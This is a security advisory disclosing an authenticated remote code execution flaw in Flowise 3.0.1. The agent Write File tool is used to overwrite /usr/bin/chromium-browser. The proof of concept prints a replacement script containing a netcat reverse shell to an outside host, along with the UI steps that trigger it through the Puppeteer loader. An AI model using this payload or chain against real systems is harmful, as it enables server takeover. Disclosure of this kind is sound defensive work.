Skip to content

Authenticated Remote code execution (RCE) via Arbitrary File Write

Critical
HenryHengZJ published GHSA-pr8x-mr56-fx5p Oct 8, 2025

Package

No package listed

Affected versions

< 3.0.1

Patched versions

3.0.8

Description

Summary

An authenticated attacker can use the agent writeFile tool to override existing files on the filesystem, leading to Remote Code Execution (RCE).

Details

A critical vulnerability exists in the on-premise deployment of Flowise 3.0.1 involving the writeFile functionality. Attackers can exploit this to overwrite or modify any file on the filesystem. By injecting malicious code into the chromium-browser script available at /usr/bin/chromium-browser, which is utilized by the "Puppeteer Web Scraper" Document loader.

PoC

To reproduce the vulnerability, you need to create a new agent.
Inside the agent add a “Write File” tool
1 new agent

Targeting the /usr/bin/chromium-browser file to override
file_path: /usr/bin/chromium-browser
text:
"<p>#!/bin/sh</p><p>for f in /etc/chromium/*.conf; do [ -f \"$f\" ] &amp;&amp; . \"$f\"; done; CHROMIUM_FLAGS=\"$CHROMIUM_FLAGS ${CHROMIUM_USER_FLAGS:+\"$CHROMIUM_USER_FLAGS\"}\"; export CHROME_WRAPPER=\"$(readlink -f \"$0\")\"; PROGDIR=${CHROME_WRAPPER%/*}; case \":$PATH:\" in <em>:$PROGDIR:</em>) ;; *) export PATH=\"$PATH:$PROGDIR\" ;; esac; [ $(id -u) -eq 0 ] &amp;&amp; [ $(stat -c %u -L ${XDG_CONFIG_HOME:-${HOME}}) -eq 0 ] &amp;&amp; CHROMIUM_FLAGS=\"--user-data-dir=${XDG_CONFIG_HOME:-\"$HOME\"/.config}/chromium $CHROMIUM_FLAGS\"; export CHROME_DESKTOP=\"chromium.desktop\" CHROME_VERSION_EXTRA=\"Alpine Linux\"; nc revshell.evasecresearch.com 1337 -e /bin/sh &gt; /dev/null; exec \"$PROGDIR/chromium\" ${CHROMIUM_FLAGS} \"$@\"</p>

2 eritefile func

Starting the flow will write the new content to the file on the filesystem.

3 start flow

Success
4 file written

New file content contains reverse shell
2 1 code

To trigger the /usr/bin/chromium-browser execution and loading the reverse shell (code execution) you need to add a new “Document Store”
5 1 New document

Inside it you need to add a new “Document Loader” and choose the “Puppeteer Web Scraper”
5 2 New loader

5 Add PUPPeter dosument

Fill any URL in the form and select “Preview Chunks”, will trigger the execution of /usr/bin/chromium-browser bash file.
6 Puppeeter

Popping a reverse shell leading to a remote code execution
7 Reverse Shell

Dockerfile for reference
Dockerfile

Impact

This is a critical Remote Code Execution (RCE) vulnerability. It allows an authenticated (or potentially unauthenticated when combined with a separate bypass) attacker to execute arbitrary code on the affected system. Specifically, it leverages the ability to write arbitrary files to override critical system components, like /usr/bin/chromium-browser, and insert malicious code.
Users of the on-premise deployment of Flowise 3.0.1 (latest) are impacted. This vulnerability affects systems running this specific version and deployment model. Organizations or individuals using Flowise 3.0.1 on their own servers are at risk.

Severity

Critical

CVE ID

CVE-2025-61913

Weaknesses

No CWEs

Credits